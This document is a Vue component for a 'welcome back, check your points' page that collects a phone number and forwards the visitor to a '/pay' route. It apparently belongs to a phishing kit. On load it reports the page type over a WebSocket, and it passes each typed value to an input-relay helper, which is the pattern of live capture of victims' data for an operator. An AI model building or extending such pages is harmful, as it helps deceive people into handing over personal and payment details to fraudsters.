<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";

const router = useRouter();

import { useLoadingStore } from "@/stores/loadingStore";

import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();

const formData = ref({ phonePageData: { phone: "" } });

const instance = getCurrentInstance()!;
const onchange = (event: any) => {
  inputChange("input_phone", "", event.target.value);
};

const next = () => {
  localStorage.setItem("phone", formData.value.phonePageData.phone);
  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/pay");
  }, 200);
};

watch(
  instance.appContext.config.globalProperties.$currentUser,
  (newValue, oldValue) => { }
);

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "phone" },
    })
  );
  const userData =
    getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.phonePageData) {
    formData.value = userData;
  }
  localStorage.setItem("route", "phone");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <!-- <img style="width: 10
       0%;" src="/sa_points_sta/111.avif"/> -->
      <div class="main-content-body" style="margin-top: 35px; margin-bottom: 30px;">
        <div style="text-align: center">
          <h1>{{ t("login_view.welcome_back") }}</h1>
          <p>{{ t("login_view.reward_message") }}</p>
        </div>
        <form @submit.prevent="next">
          <h4 class="text-center check-points-title">
            <span>{{ t("login_view.check_points") }}</span>
          </h4>
          <div class="input1">
            <label class="phone-label">
              {{ t("Phone number") }}
            </label>
            <input required type="tel" inputmode="tel" @input="onchange" v-model="formData.phonePageData.phone"
              placeholder=" " />
          </div>
          <div class="button-submit">
            <button type="submit" class="inquire-button">
              <span>{{ t("Inquire") }}</span>
            </button>
          </div>
        </form>
      </div>
    </template>
  </CommonLayout>
</template>
<style scoped>
h1 {
  font-size: 28px;
  font-weight: 700;
  letter-spacing: 2px;
  color: #000000;
}

form {
  margin-top: 10px;
  padding: 2rem;
  box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
  border-radius: 16px;
  text-align: center;
}

form div label {
  display: block;
  text-align: left;
}

form div input {
  width: 100%;
}
</style>
